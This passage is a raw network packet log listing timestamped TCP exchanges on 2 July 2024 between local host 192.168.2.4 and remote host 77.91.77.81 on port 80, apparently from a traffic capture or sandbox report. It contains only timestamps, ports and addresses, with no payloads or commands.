Jul 2, 2024 15:26:26.584342957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.584352970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.584369898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.584379911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.584388018 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.584403038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.584413052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.584414959 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.584583998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.585042953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.585052967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.585069895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.585082054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.585088968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.585098028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.585107088 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.585108042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.585127115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.585134029 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.585156918 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.585800886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.585810900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.585829020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.585839033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.585841894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.585863113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.585886955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.586575031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.586616039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.586734056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.586772919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.586849928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.586859941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.586874962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.586884022 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.586904049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.586914062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.709064960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.709120035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.709134102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.709209919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.709255934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.709266901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.709292889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.709309101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.709337950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.709359884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.709927082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.709938049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.709955931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.709973097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.709979057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.709986925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.710001945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.710014105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.710016012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.710026979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.710056067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.710592031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.710602999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.710611105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.710617065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.710627079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.710648060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.710654020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.710660934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.710671902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.710689068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.710721016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.710721016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.711514950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.711529016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.711544037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.711551905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.711556911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.711565971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.711570978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.711580992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.711586952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.711600065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.711601019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.711616993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.711630106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.711630106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.711649895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.711673021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.712491989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.712503910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.712518930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.712534904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.712537050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.712551117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.712552071 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.712567091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.712579012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.712579966 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.712594986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.712599039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.712606907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.712622881 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.712644100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.713450909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.713462114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.713480949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.713493109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.713510990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.713517904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.713525057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.713535070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.713545084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.713552952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.713562965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.713567972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.713587999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.713613033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.714415073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.714428902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.714443922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.714457035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.714468956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.714484930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.714493990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.714502096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.714510918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.714520931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.714530945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.714549065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.714579105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.715368986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.715379953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.715398073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.715409994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.715425014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.715426922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.715440989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.715451002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.715462923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.715470076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.715480089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.715480089 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.715498924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.715526104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.717276096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717295885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717305899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717320919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.717324018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717334986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717350960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717356920 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.717360020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717377901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717382908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.717390060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717401981 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.717403889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717418909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717422962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.717431068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717446089 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.717447042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717459917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717463017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.717473984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.717484951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.717503071 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.796436071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.796668053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.796677113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.796689987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.796705008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.796715975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.796726942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.796735048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.796753883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.796792030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.796971083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.797030926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.797044992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.797059059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.797075987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.797096968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.797132969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.797483921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.797494888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.797513008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.797538042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.797569036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.833715916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.833745956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.833765984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.833844900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.833846092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.833858013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.833875895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.833920956 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.834103107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.834124088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.834137917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.834152937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.834176064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.834191084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.834506989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.834517956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.834542990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.834557056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.834562063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.834570885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.834579945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.834587097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.834600925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.834609985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.834618092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.834638119 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.834651947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.835381031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.835391998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.835410118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.835422039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.835429907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.835438967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.835448980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.835453033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.835465908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.835478067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.835481882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.835503101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.835527897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.836211920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.836221933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.836241007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.836252928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.836267948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.836277962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.836283922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.836296082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.836309910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.836332083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.836344957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.836961031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.836971045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.836988926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.837001085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.837016106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.837025881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.837032080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.837044001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.837057114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.837058067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.837074041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.837074995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.837100983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.837125063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.837917089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.837928057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.837945938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.837960005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.837970018 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.837974072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.837986946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.837997913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.838004112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.838010073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.838017941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.838031054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.838036060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.838046074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.838052988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.838071108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.838083982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.838835955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.838848114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.838865042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.838877916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.838892937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.838912964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.838937044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.839241028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.839364052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.839375973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.839406013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.839416981 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.839651108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.839662075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.839679956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.839693069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.839724064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.839747906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.840013981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.840023994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.840042114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.840054989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.840070009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.840080023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.840087891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.840099096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.840111971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.840126038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.840146065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.840549946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.840559959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.840583086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.840593100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.840595961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.840605021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.840610981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.840620995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.840622902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.840641975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.840646029 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.840672016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.840678930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.841113091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.841124058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.841140985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.841152906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.841161013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.841170073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.841180086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.841187954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.841197968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.841208935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.841212034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.841227055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.841234922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.841244936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.841270924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.841912031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.841931105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.841944933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.841964006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.841975927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.841981888 CEST	49744	80	192.168.2.4	77.91.77.81
